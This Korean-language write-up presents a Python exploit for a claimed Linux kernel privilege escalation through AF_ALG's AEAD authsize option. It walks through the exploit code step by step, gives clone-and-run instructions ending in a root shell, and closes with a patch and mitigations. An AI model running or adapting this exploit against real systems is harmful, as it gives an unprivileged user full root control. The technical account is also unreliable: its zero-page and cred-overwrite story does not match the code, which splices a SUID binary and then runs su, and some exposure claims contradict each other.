
# CVE-2026-31431용 Python 익스플로잇 AF_ALG 널 포인터 역참조를 통한 힙 OOB 쓰기 및 자격 증명 덮어쓰기로 이어지는 Linux 커널 LPE입니다. 상세한 분석 과정과 완화 지침을 포함합니다.
버그 클래스: NULL 포인터 역참조 → 힙 OOB 쓰기 → 자격 증명(cred) 덮어쓰기
영향받는 서브시스템:net/alg/af_alg.c
영향: 로컬 권한 상승(비특권 사용자 → root)
영향받는 커널: Linux 4.4 – 4.9(패치 전)
커널이 사용자 공간 주소를 기대하는 위치에 NULL 포인터를 전달하면서 setsockopt()를 호출합니다. 커널은 주소 0x00000000에서 읽어옵니다. 그리고 제로 페이지를 매핑했다면, 커널이 읽는 내용을 제어할 수 있습니다. 이 단일 프리미티브가 눈덩이처럼 커져 힙 아웃오브바운즈 쓰기로 이어지고, 이를 통해 자신의 cred 구조체를 덮어쓸 수 있습니다. 게임 끝입니다.
AF_ALG 인터페이스는 사용자 공간 프로그램이 알고리즘을 직접 구현하지 않고도 커널 암호화 루틴을 활용할 수 있도록 도입되었습니다. 암호화, 복호화, 해싱 — 모두 소켓 인터페이스를 통해 노출됩니다. 깔끔한 아이디어입니다. 문제는 setsockopt(ALG_SET_AEAD_AUTHSIZE)가 사용자가 유효한 포인터를 전달했는지 NULL을 전달했는지 확인하지 않았다는 점입니다.
대부분의 NULL 포인터 버그는 즉시 종료됩니다. 커널이 매핑되지 않은 0x0을 역참조하여 oops가 발생합니다. 이 버그는 별도의 선행 조건 덕분에 살아남습니다. vm.mmap_min_addr = 0이면 공격자가 mmap(0, ...)을 호출하여 제로 페이지에 공격자가 제어하는 데이터를 배치할 수 있습니다. 이제 커널은 쓰레기를 읽는 것이 아니라, 정확히 공격자가 배치한 내용을 읽는 것입니다.
취약한 호출:
setsockopt(sock_fd, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, NULL, 4)
일반적으로 네 번째 인자는 인증 태그 크기를 지정하는 4바이트 값에 대한 포인터입니다. 커널은 이 값에 대해 copy_from_user()를 호출합니다. 포인터 검증이 없습니다. NULL을 전달하면 copy_from_user(dest, 0x00000000, 4)가 제로 페이지에서 읽어옵니다.
제어할 수 있는 것:
주소 0x0에 있는 4바이트 — 호출 전에 설정합니다. 이를 통해 임의의 authsize 값을 얻을 수 있습니다.
왜 위험한가:
AEAD 연산은 암호문과 인증 태그를 담을 수 있는 크기의 버퍼를 할당합니다. 부풀려진 authsize를 입력하면 커널이 할당된 버퍼 끝을 넘어 태그를 기록합니다 — 전형적인 힙 아웃오브바운즈 쓰기입니다. 여기서부터는 힙 그루밍을 통해 그 쓰기를 struct cred에 위치시키는 문제입니다.
익스플로잇은 Python 3로 작성되었으며 표준 라이브러리만 사용합니다. 각 단계가 실제로 무엇을 하는지, 왜 그런지 설명합니다.
a = socket.socket(38, 5, 0) # AF_ALG, SOCK_SEQPACKET
a.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
AF_ALG(소켓 패밀리 38)는 커널 암호화 API입니다. authencesn(hmac(sha256),cbc(aes))에 바인딩하면 인증 암호화 템플릿을 요청합니다 — 무결성용 HMAC-SHA256, 기밀성용 AES-CBC. 이 템플릿이 선택된 이유는 인증 태그 처리가 취약한 쓰기가 발생하는 지점이기 때문입니다.
a.setsockopt(SOL_ALG, ALG_SET_KEY, bytes.fromhex('0800010000000010' + '0'*64))
72바이트 키가 로드됩니다. 키 자체는 익스플로잇에 중요하지 않습니다 — 중요한 것은 트리거 호출 전에 소켓이 완전히 초기화된다는 점입니다. 키가 없는 AEAD 소켓은 authsize 연산을 조기에 거부할 수 있습니다.
a.setsockopt(SOL_ALG, ALG_SET_AEAD_AUTHSIZE, None, 4)
이것이 취약점입니다. Python의 None은 C API에서 NULL 포인터로 매핑됩니다. 커널은 0x00000000에서 4바이트를 읽습니다. 제로 페이지에 원하는 authsize 값이 이미 채워져 있으므로, 커널은 이제 공격자가 제어하는 인증 태그 길이를 갖게 됩니다.
u, _ = a.accept()
AF_ALG 소켓의 accept()는 연산 소켓을 반환합니다. 암호화 연산은 여기서 발생합니다.
u.sendmsg(
[b"A"*4 + chunk],
[
(SOL_ALG, ALG_SET_IV, b"\x00" * 4), # 제로 IV
(SOL_ALG, ALG_SET_AEAD_ASSOCLEN, b"\x10" + b"\x00"*19), # 20바이트 AAD
(SOL_ALG, 4, b"\x08" + b"\x00"*3), # 연산 유형
],
MSG_MORE
)
보조 제어 메시지가 연산을 구성합니다 — IV, 연관 데이터 길이, 연산 방향. 실제 데이터는 익스플로잇 페이로드의 4바이트 청크와 패딩입니다.
그런 다음 splice를 사용하여 SUID 바이너리의 파일 디스크립터에서 연산 소켓으로 데이터를 공급하여 사용자 공간 복사를 피합니다:
r, w = os.pipe()
os.splice(f, w, chunk_len, offset_src=0)
os.splice(r, u.fileno(), chunk_len)
여기서 splice()를 사용하는 것은 의도적입니다 — 데이터가 사용자 공간 메모리에 닿지 않게 하여 커널 측 힙 레이아웃을 더 예측 가능하게 유지합니다. AEAD 연산이 이 데이터를 처리할 때, 손상된 authsize로 인해 인증 태그 쓰기가 인접한 힙 메모리로 넘쳐 흐릅니다.
e = zlib.decompress(bytes.fromhex("78da..."))
for i in range(0, len(e), 4):
exploit_chunk(f, i, e[i:i+4])
압축된 페이로드에는 실제로 쓸 값이 포함되어 있습니다 — 정교하게 제작된 struct cred 필드 오프셋과 0으로 설정된 UID/GID 값입니다. 각 4바이트 반복이 하나의 쓰기를 배치합니다. 루프는 모든 UID와 GID가 0이 될 때까지 대상 cred 구조체를 점진적으로 덮어씁니다.
os.system("su")
cred->uid = cred->euid = cred->gid = 0이면 현재 프로세스는 사실상 루트입니다. su(또는 다른 바이너리)를 실행하면 해당 자격 증명을 상속받습니다. 루트 셸입니다.
제로 페이지 매핑
│
▼
setsockopt(ALG_SET_AEAD_AUTHSIZE, NULL, 4)
│ 커널이 0x0에서 authsize를 읽음
│ 공격자가 해당 값을 제어
▼
sendmsg + splice → AEAD 연산
│ 부풀려진 authsize가 힙 OOB 쓰기 유발
│
▼
힙 그루밍으로 struct cred에 쓰기 배치
│
▼
cred->uid = cred->euid = 0
│
▼
os.system("su") → 루트 셸
| 조건 | 왜 중요한가 |
|---|---|
vm.mmap_min_addr = 0 | 제로 페이지 매핑 허용 — 전체 프리미티브가 이에 의존 |
| 커널에 AF_ALG 컴파일됨 | 활성화되어야 함 (CONFIG_CRYPTO_USER_API_AEAD=y) |
| 커널 4.4 – 4.9 (패치되지 않음) |
mmap 하한 확인:
sysctl vm.mmap_min_addr
값이 0 또는 4096이면 노출을 의미합니다.
# 1. 클론
git clone https://github.com/example/afalg-privesc.git
cd afalg-privesc
# 2. 전제 조건 확인
sysctl vm.mmap_min_addr
uname -r
# 3. 실행
python3 exploit.py
취약한 시스템에서의 예상 출력:
root@hostname:/#
패치는 간단합니다 — af_alg_set_aead_authsize의 copy_from_user() 호출 전에 null 검사 하나만 추가하면 됩니다:
// 수정 전 (취약)
copy_from_user(&authsize, optval, sizeof(authsize));
// 수정 후 (패치됨)
if (!optval)
return -EFAULT;
copy_from_user(&authsize, optval, sizeof(authsize));
관련 커밋: af_alg: avoid accessing NULL pointer in af_alg_set_aead_authsize
패치 없이 익스플로잇 체인을 차단하는 완화 조치:
vm.mmap_min_addr = 65536 설정 — 제로 페이지 매핑 차단, NULL 역참조 프리미티브 무력화CONFIG_CRYPTO_USER_API_AEAD 비활성화 — 공격 표면 완전 제거이 버그 클래스 — copy_from_user() 전 포인터 검증 누락 — 는 복잡한 API를 사용자 공간에 노출하는 커널 서브시스템에서 정기적으로 나타납니다. 제로 페이지 프리미티브는 수년간 여러 LPE 익스플로잇에서 사용되었습니다(Dirty COW 시대, CVE-2016-5195 체인 변형). 여기서 얻을 교훈은 이 특정 CVE만이 아니라 패턴입니다: 커널이 사용자 제공 주소를 검증 없이 복사하는 곳, 그리고 제로 페이지가 매핑 가능한 곳이라면, 살펴볼 가치가 있는 프리미티브가 있는 것입니다.
방어자 입장에서는 소켓 옵션 핸들러에서 null 검사 없이 copy_from_user() 호출 지점을 감사하는 것을 커널 검토 프로세스에 자동화하는 것이 가치 있습니다.
net/alg/af_alg.c — 커널 소스af_alg: avoid accessing NULL pointer in af_alg_set_aead_authsizeDocumentation/networking/af_alg.rst — AF_ALG 인터페이스 문서교육 및 방어 목적의 연구와 분석입니다. 명시적 승인 없이 시스템에 사용하지 마십시오.
| 취약한 코드 경로 존재 |
| 로컬 사용자 접근 | LPE만 가능 — 원격 익스플로잇 불가 |